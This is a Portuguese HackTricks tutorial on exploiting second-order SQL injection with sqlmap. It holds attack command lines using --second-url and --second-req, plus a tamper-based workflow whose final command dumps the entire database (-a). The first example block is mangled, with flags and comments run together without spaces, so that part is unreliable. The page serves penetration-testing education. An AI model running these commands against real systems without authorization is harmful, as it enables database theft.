Compartilhe seus truques de hacking enviando PRs para osHackTricks e HackTricks Cloud repositórios do github.
SQLMap pode explorar Segundos SQLis de Ordem.
Você precisa fornecer:
A solicitação onde o payload de injeção SQL será salvo
A solicitação onde o payload será executado
A solicitação onde o payload de injeção SQL é salvo é indicada como em qualquer outra injeção no sqlmap. A solicitação onde o sqlmap pode ler a saída/execução da injeção pode ser indicada com --second-url ou com --second-req se precisar indicar uma solicitação completa de um arquivo.
Exemplo simples de segunda ordem:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
Em vários casos isso não será suficiente porque você precisará realizar outras ações além de enviar a carga útil e acessar uma página diferente.
Quando isso for necessário, você pode usar um sqlmap tamper. Por exemplo, o script a seguir registrará um novo usuário usando a carga útil do sqlmap como email e sairá.
Um SQLMap tamper é sempre executado antes de iniciar uma tentativa de injeção com um payloade ele precisa retornar um payload. Neste caso, não nos importamos com o payload, mas sim em enviar algumas solicitações, então o payload não é alterado.
Portanto, se por algum motivo precisarmos de um fluxo mais complexo para explorar a injeção de SQL de segunda ordem, como:
Criar uma conta com o payload SQLi dentro do campo "email"
Sair
Fazer login com essa conta (login.txt)
Enviar uma solicitação para executar a injeção de SQL (second.txt)
Esta linha sqlmap ajudará:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all